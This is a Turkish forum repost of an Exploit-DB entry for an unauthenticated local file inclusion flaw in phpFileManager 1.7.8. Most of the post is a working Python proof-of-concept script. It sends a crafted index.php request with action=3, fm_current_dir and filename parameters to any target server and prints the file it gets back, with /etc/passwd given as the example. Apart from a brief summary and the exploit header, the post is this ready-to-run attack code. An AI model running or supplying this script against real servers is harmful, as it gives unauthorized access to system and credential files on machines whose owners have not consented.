phpFileManager 1.7.8 - Local File Inclusion

Konu Özeti

phpFileManager 1.7.8 sürümünde, kimlik doğrulaması olmadan yerel dosya ekleme (Local File Inclusion) açığı bulunmaktadır. Bu açık sayesinde herhangi bir kullanıcı, sunucudaki dosyalara erişebilir. Açıktan yararlanmak için özel olarak hazırlanmış bir Python betiği (PoC) kullanılmakta ve hedef dizin ile dosya adı belirtilerek hassas bilgilere ulaşılabilmektedir.

Status
Not open for further replies.
# Exploit Title/Explot Başlığı: phpFileManager 1.7.8 - Local File Inclusion
# Date/Tarih: 01.04.2019
# Exploit Author/Exploit Yazarı: Murat Kalafatoglu
# Vendor Homepage/Yapımcı Adresi: https://sourceforge.net/projects/phpfm/
# Software Demo/Demo Site: https://phpfm-demo.000webhostapp.com/
# Version: v1.7.8
# Category/Kategori: Webapps
# Tested on/Test Edilen Platform: XAMPP for Linux

# Açıklama: Herhangi bir kullanıcı bu açık ile sunucudaki dosyalara erişebilir.
Aşağıdaki adres ile doğrulama olmadan LFI kullanarak erişebilirsiniz.


# PoC

#!/usr/bin/python

import requests, sys

print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <target_ip/domain>"
exit(0)
ip_add = sys.argv[1]

dr = raw_input('[+] Directory: aka /etc/\n')
fd = raw_input('[+] File : aka passwd\n')

print "Exploiting....."
print '\n'

exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"")
print exp.text





# Exploit Adresi : https://www.exploit-db.com/exploits/46638

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
137,762Threads
3,313,793Messages
329,445Members
edwardharbilinkLatest member
Top Bottom